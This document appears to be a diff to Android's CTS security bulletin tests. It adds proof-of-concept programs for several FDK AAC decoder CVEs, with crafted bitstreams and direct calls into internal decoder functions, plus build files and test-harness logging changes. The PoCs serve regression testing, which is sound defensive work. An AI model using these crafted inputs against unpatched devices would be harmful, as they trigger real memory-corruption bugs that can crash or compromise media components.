+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0xE0};
+constexpr uint32_t kAacStreamLength = sizeof(kAacStream);
+
+class Codec {
+public:
+  Codec() = default;
+  ~Codec() { deInitDecoder(); }
+  bool initDecoder();
+  void decodeFrames(UCHAR *data, UINT size);
+  void deInitDecoder();
+
+private:
+  HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+  AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+  mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADTS, kNumberOfLayers);
+  if (!mAacDecoderHandle) {
+    return false;
+  }
+  return true;
+}
+
+void Codec::deInitDecoder() {
+  aacDecoder_Close(mAacDecoderHandle);
+  mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+  while (size > 0) {
+    UINT inputSize = size;
+    UINT valid = size;
+    mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+    if (mErrorCode != AAC_DEC_OK) {
+      ++data;
+      --size;
+    } else {
+      INT_PCM outputBuf[kMaxOutBufferSize];
+      aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, sizeof(outputBuf),
+                             0);
+      if (valid >= inputSize) {
+        return;
+      }
+      UINT offset = inputSize - valid;
+      data += offset;
+      size = valid;
+    }
+  }
+}
+
+int main() {
+  Codec *codec = new Codec();
+  if (!codec) {
+    return EXIT_FAILURE;
+  }
+
+  if (codec->initDecoder()) {
+
+    /* Allocate memory for bitstream buffer */
+    UINT rawDataSize = kAdtsHeaderLength + kAacStreamLength +
+                       (kNumFillElements * kFillElementsLength);
+
+    UCHAR *rawData = (UCHAR *)malloc(rawDataSize);
+    if (!rawData) {
+      return EXIT_FAILURE;
+    }
+
+    /* Copy header, aac stream to bitstream buffer */
+    UCHAR *writePtr = rawData;
+    memcpy(writePtr, kAdtsHeader, kAdtsHeaderLength);
+    writePtr += kAdtsHeaderLength;
+
+    for (uint32_t i = 0; i < kNumFillElements; ++i) {
+      memcpy(writePtr, kFillElements, kFillElementsLength);
+      writePtr += kFillElementsLength;
+    }
+
+    memcpy(writePtr, kAacStream, kAacStreamLength);
+
+    /* Decode bitstream */
+    codec->decodeFrames(rawData, rawDataSize);
+    free(rawData);
+  }
+
+  delete codec;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
new file mode 100644
index 0000000..5fb2d02
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-9308",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libSYS/include",
+        "external/aac/libAACdec/include",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
new file mode 100644
index 0000000..59f72ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
@@ -0,0 +1,110 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written using aac_dec_fuzzer.cpp as reference.
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint8_t kConfigBytes = 92;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+class Codec {
+public:
+  Codec() = default;
+  ~Codec() { deInitDecoder(); }
+  bool initDecoder();
+  void decodeFrames(UCHAR *data, UINT size);
+  void deInitDecoder();
+
+private:
+  HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+  AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+  bool mConfigFlag = false;
+};
+
+bool Codec::initDecoder() {
+  mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+  if (!mAacDecoderHandle) {
+    return false;
+  }
+  return true;
+}
+
+void Codec::deInitDecoder() {
+  aacDecoder_Close(mAacDecoderHandle);
+  mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+  while (size > 0) {
+    UINT inputSize = size;
+    UINT valid = size;
+
+    if (!mConfigFlag) {
+      inputSize = kConfigBytes;
+      aacDecoder_ConfigRaw(mAacDecoderHandle, &data, &inputSize);
+      data += kConfigBytes;
+      size -= kConfigBytes;
+      mConfigFlag = true;
+      continue;
+    }
+
+    aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+    INT_PCM outputBuf[kMaxOutBufferSize];
+    do {
+      mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf,
+                                          sizeof(outputBuf), 0);
+    } while (mErrorCode == AAC_DEC_OK);
+    UINT offset = inputSize - valid;
+    data += offset;
+    size = valid;
+  }
+}
+
+int main(int argc, char *argv[]) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+
+  FILE *fp = fopen(argv[1], "rb");
+  if (!fp) {
+    return EXIT_FAILURE;
+  }
+
+  fseek(fp, 0, SEEK_END);
+  UINT size = ftell(fp);
+  fseek(fp, 0, SEEK_SET);
+  UCHAR *data = new UCHAR[size];
+  fread(data, sizeof(UCHAR), size, fp);
+  fclose(fp);
+  fp = nullptr;
+
+  Codec *codec = new Codec();
+  if (!codec) {
+    delete[] data;
+    return EXIT_FAILURE;
+  }
+
+  if (codec->initDecoder()) {
+    codec->decodeFrames((UCHAR *)(data), static_cast<UINT>(size));
+  }
+
+  delete codec;
+  delete[] data;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index 0a19bec..06e37ec 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -29,12 +29,14 @@
         "frameworks/native/include/media/openmax",
         "frameworks/av/media/libstagefright",
         "frameworks/native/include/media/hardware",
-        "frameworks/av/media/libstagefright/codecs/mp3dec/include",
-        "frameworks/av/media/libstagefright/codecs/mp3dec/src",
         "frameworks/av/media/libmedia/include",
         "frameworks/av/media/libstagefright/xmlparser/include",
     ],
 
+    header_libs: [
+        "libstagefright_mp3dec_headers",
+    ],
+
     shared_libs: [
         "libstagefright",
         "libstagefright_omx",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
index a559537..1ac7b76 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
@@ -14,10 +14,11 @@
  * limitations under the License.
  */
 
+#include <s_tmp3dec_file.h> // from the mp3dec library
+
 #include "../includes/common.h"
 #include "../includes/memutils_track.h"
 #include "../includes/omxUtils.h"
-#include "codecs/mp3dec/src/s_tmp3dec_file.h"
 #include "media/omx/1.0/WOmx.h"
 #include "omx/include/media/stagefright/omx/1.0/Omx.h"
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
new file mode 100644
index 0000000..9c18dc9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-9357",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libFDK/include",
+        "external/aac/libAACdec/src",
+        "external/aac/libSYS/include",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
new file mode 100644
index 0000000..d906a2d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+
+#include "FDK_bitstream.h"
+#include "aacdec_hcr_types.h"
+#include "aacdec_hcrs.h"
+
+int main() {
+
+  FDK_BITSTREAM *bs = (FDK_BITSTREAM *)malloc(sizeof(FDK_BITSTREAM));
+  if (!bs) {
+    return EXIT_FAILURE;
+  }
+
+  CErHcrInfo *pHcr = (CErHcrInfo *)malloc(sizeof(CErHcrInfo));
+  if (!pHcr) {
+    free(bs);
+    return EXIT_FAILURE;
+  }
+
+  memset(bs, 0x00, sizeof(FDK_BITSTREAM));
+  memset(pHcr, 0x00, sizeof(CErHcrInfo));
+
+  DecodeNonPCWs(bs, pHcr);
+
+  free(bs);
+  free(pHcr);
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
new file mode 100644
index 0000000..ebe6f13
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-9362",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+    include_dirs: [
+        "external/aac/libSACdec/src",
+        "external/aac/libSACdec/include",
+        "external/aac/libFDK/include",
+        "external/aac/libSYS/include",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
new file mode 100644
index 0000000..f388f89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
@@ -0,0 +1,154 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "sac_bitdec.h"
+#include "sac_dec_conceal.h"
+#include <iostream>
+
+#define MAX_PARAMETER_SETS (9)
+#define MAX_NUM_OTT (5)
+
+#define RETURN_EXIT_FAILURE_IF_NULL(ptr)                                       \
+  {                                                                            \
+    if (!ptr) {                                                                \
+      return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_FAILURE);       \
+    }                                                                          \
+  }
+
+typedef signed char SCHAR;
+
+int freeAllocatedMemoryAndReturn(SPATIAL_BS_FRAME *frame, spatialDec *decoder,
+                                 int errorCode) {
+  if (frame) {
+    if (frame->CLDLosslessData) {
+      for (int i = 0; i < MAX_NUM_OTT; ++i) {
+        if ((&frame->CLDLosslessData[i])->state) {
+          free((&frame->CLDLosslessData[i])->state);
+          (&frame->CLDLosslessData[i])->state = nullptr;
+        }
+      }
+      free(frame->CLDLosslessData);
+      frame->CLDLosslessData = nullptr;
+    }
+    if (frame->ICCLosslessData) {
+      free(frame->ICCLosslessData);
+      frame->ICCLosslessData = nullptr;
+    }
+    if (frame->IPDLosslessData) {
+      free(frame->IPDLosslessData);
+      frame->IPDLosslessData = nullptr;
+    }
+    free(frame);
+    frame = nullptr;
+  }
+
+  if (decoder) {
+    if (decoder->pConfigCurrent) {
+      free(decoder->pConfigCurrent);
+      decoder->pConfigCurrent = nullptr;
+    }
+    if (decoder->ottCLDidxPrev) {
+      free(decoder->ottCLDidxPrev);
+      decoder->ottCLDidxPrev = nullptr;
+    }
+    if (decoder->smgTime) {
+      free(decoder->smgTime);
+      decoder->smgTime = nullptr;
+    }
+    if (decoder->smgData) {
+      free(decoder->smgData);
+      decoder->smgData = nullptr;
+    }
+    if (decoder->smoothState) {
+      free(decoder->smoothState);
+      decoder->smoothState = nullptr;
+    }
+    free(decoder);
+    decoder = nullptr;
+  }
+  return errorCode;
+}
+
+int main() {
+  spatialDec *decoder = (spatialDec *)malloc(sizeof(spatialDec));
+  if (!decoder) {
+    return EXIT_FAILURE;
+  }
+  SPATIAL_BS_FRAME *frame =
+      (SPATIAL_BS_FRAME *)malloc(sizeof(SPATIAL_BS_FRAME));
+
+  RETURN_EXIT_FAILURE_IF_NULL(frame);
+  memset(frame, 0x00, sizeof(SPATIAL_BS_FRAME));
+
+  RETURN_EXIT_FAILURE_IF_NULL(decoder);
+  memset(decoder, 0x00, sizeof(spatialDec));
+
+  size_t allocSize = sizeof(LOSSLESSDATA) * MAX_NUM_OTT * MAX_NUM_PARAMETERS;
+
+  frame->CLDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+  RETURN_EXIT_FAILURE_IF_NULL(frame->CLDLosslessData);
+  memset(frame->CLDLosslessData, 0x00, allocSize);
+
+  frame->ICCLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+  RETURN_EXIT_FAILURE_IF_NULL(frame->ICCLosslessData);
+  memset(frame->CLDLosslessData, 0x00, allocSize);
+
+  frame->IPDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+  RETURN_EXIT_FAILURE_IF_NULL(frame->IPDLosslessData);
+  memset(frame->CLDLosslessData, 0x00, allocSize);
+
+  frame->numParameterSets = MAX_PARAMETER_SETS;
+
+  for (int i = 0; i < MAX_NUM_OTT; ++i) {
+    (&frame->CLDLosslessData[i])->state = nullptr;
+    for (int j = 0; j < MAX_PARAMETER_SETS; ++j) {
+      (&frame->CLDLosslessData[i])->bsXXXDataMode[j] = 2;
+    }
+    (&frame->CLDLosslessData[i])->state =
+        (LOSSLESSSTATE *)malloc(sizeof(LOSSLESSSTATE));
+    RETURN_EXIT_FAILURE_IF_NULL((&frame->CLDLosslessData[i])->state);
+    memset((&frame->CLDLosslessData[i])->state, 0x00, sizeof(LOSSLESSSTATE));
+  }
+
+  decoder->numOttBoxes = MAX_NUM_OTT;
+
+  decoder->pConfigCurrent =
+      (SPATIAL_SPECIFIC_CONFIG *)malloc(sizeof(SPATIAL_SPECIFIC_CONFIG));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->pConfigCurrent);
+  memset(decoder->pConfigCurrent, 0x00, sizeof(SPATIAL_SPECIFIC_CONFIG));
+
+  decoder->ottCLDidxPrev = (SCHAR **)malloc(sizeof(SCHAR *));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->ottCLDidxPrev);
+  memset(decoder->ottCLDidxPrev, 0x00, sizeof(SCHAR *));
+
+  decoder->smgTime = (int *)malloc(sizeof(int));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->smgTime);
+  memset(decoder->smgTime, 0x00, sizeof(int));
+
+  decoder->smgData = (UCHAR **)malloc(sizeof(UCHAR *));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->smgData);
+  memset(decoder->smgData, 0x00, sizeof(UCHAR *));
+
+  decoder->smoothState = (SMOOTHING_STATE *)malloc(sizeof(SMOOTHING_STATE));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->smoothState);
+  memset(decoder->smoothState, 0x00, sizeof(SMOOTHING_STATE));
+
+  decoder->arbitraryDownmix = 0;
+  (decoder->concealInfo).concealState = SpatialDecConcealState_Ok;
+
+  SpatialDecDecodeFrame(decoder, frame);
+  return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index bc93c1e..0f894a6 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,11 +36,9 @@
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
-time_t start_timer(){
-  return time(NULL);
-}
+inline time_t start_timer() { return time(NULL); }
 
-int timer_active(time_t timer_started){
+inline int timer_active(time_t timer_started) {
   return time(NULL) < (timer_started + MAX_TEST_DURATION);
 }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6d9454f..0605b39 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -17,6 +17,9 @@
 package android.security.cts;
 
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
 import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.ddmlib.CollectingOutputReceiver;
@@ -37,6 +40,7 @@
 import java.util.Arrays;
 import java.util.ArrayList;
 import java.util.concurrent.Callable;
+import java.util.Collections;
 
 import org.json.JSONArray;
 import org.json.JSONException;
@@ -53,6 +57,20 @@
     final static int TIMEOUT_SEC = 9 * 60;
     final static String RESOURCE_ROOT = "/";
 
+    public static class pocConfig {
+        String binaryName;
+        String arguments;
+        String inputFilesDestination;
+        ITestDevice device;
+        CrashUtils.Config config;
+        List<String> inputFiles = Collections.emptyList();
+
+        pocConfig(String binaryName, ITestDevice device) {
+            this.binaryName = binaryName;
+            this.device = device;
+        }
+    }
+
     /** Runs a commandline on the specified device
      *
      * @param command the command to be ran
@@ -151,8 +169,30 @@
         if (arguments == null) {
             arguments = "";
         }
-        device.executeShellCommand(TMP_PATH + pocName + " " + arguments,
+
+        // since we have to return the exit status AND the poc stdout+stderr we redirect the exit
+        // status to a file temporarily
+        String exitStatusFilepath = TMP_PATH + "exit_status";
+        runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
+        device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+                "; echo $? > " + exitStatusFilepath, // echo exit status to file
                 receiver, timeout, TimeUnit.SECONDS, 0);
+
+        // cat the exit status
+        String exitStatusString = runCommandLine("cat " + exitStatusFilepath, device).trim();
+
+        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+        reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+        try {
+            int exitStatus = Integer.parseInt(exitStatusString);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+        } catch (NumberFormatException e) {
+            // Getting the exit status is a bonus. We can continue without it.
+            CLog.w("Could not parse exit status to int: %s", exitStatusString);
+        }
+        reportLog.submit();
+
+        runCommandLine("rm " + exitStatusFilepath, device);
     }
 
     /**
@@ -260,10 +300,12 @@
      */
     public static void pushResources(String[] inputFiles, String inputFilesDestination,
             ITestDevice device) throws Exception {
-        if ( (inputFiles != null) && (inputFilesDestination != null)) {
-            for (String tempFile : inputFiles) {
-                pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
-            }
+        if (inputFiles == null || inputFilesDestination == null) {
+            throw new IllegalArgumentException(
+                    "Can't push resources: input files or destination is null");
+        }
+        for (String tempFile : inputFiles) {
+            pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
         }
     }
 
@@ -277,10 +319,12 @@
      */
     public static void removeResources(String[] inputFiles, String inputFilesDestination,
             ITestDevice device) throws Exception {
-        if ( (inputFiles != null) && (inputFilesDestination != null)) {
-            for (String tempFile : inputFiles) {
-                runCommandLine("rm " + inputFilesDestination + tempFile, device);
-            }
+        if (inputFiles == null || inputFilesDestination == null) {
+            throw new IllegalArgumentException(
+                    "Can't remove resources: input files or destination is null");
+        }
+        for (String tempFile : inputFiles) {
+            runCommandLine("rm " + inputFilesDestination + tempFile, device);
         }
     }
 
@@ -307,15 +351,21 @@
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
         long time = System.currentTimeMillis();
-        String exitStatus = runCommandLine(
+        String exitStatusString = runCommandLine(
                 "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
         time = System.currentTimeMillis() - time;
+
         try {
-            return Integer.parseInt(exitStatus);
+            int exitStatus = Integer.parseInt(exitStatusString);
+            MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+            reportLog.addValue("command", cmd, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.submit();
+            return exitStatus;
         } catch (NumberFormatException e) {
             throw new IllegalArgumentException(String.format(
                     "Could not get the exit status (%s) for '%s' (%d ms).",
-                    exitStatus, cmd, time));
+                    exitStatusString, cmd, time));
         }
     }
 
@@ -362,13 +412,19 @@
         long time = System.currentTimeMillis();
         device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
         time = System.currentTimeMillis() - time;
-        String exitStatus = receiver.getOutput().trim();
+        String exitStatusString = receiver.getOutput().trim();
+
         try {
-            return Integer.parseInt(exitStatus);
+            int exitStatus = Integer.parseInt(exitStatusString);
+            MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+            reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.submit();
+            return exitStatus;
         } catch (NumberFormatException e) {
             throw new IllegalArgumentException(String.format(
                     "Could not get the exit status (%s) for '%s' (%d ms).",
-                    exitStatus, cmd, time));
+                    exitStatusString, cmd, time));
         }
     }
 
@@ -522,10 +578,45 @@
     public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
             String inputFiles[], String inputFilesDestination, ITestDevice device,
             String processPatternStrings[]) throws Exception {
-        pushResources(inputFiles, inputFilesDestination, device);
-        runCommandLine("logcat -c", device);
+        pocConfig testConfig = new pocConfig(binaryName, device);
+        testConfig.arguments = arguments;
+
+        if (inputFiles != null) {
+            testConfig.inputFiles = Arrays.asList(inputFiles);
+            testConfig.inputFilesDestination = inputFilesDestination;
+        }
+
+        List<String> processPatternList = new ArrayList<>();
+        if (processPatternStrings != null) {
+            processPatternList.addAll(Arrays.asList(processPatternStrings));
+        }
+        processPatternList.add(binaryName);
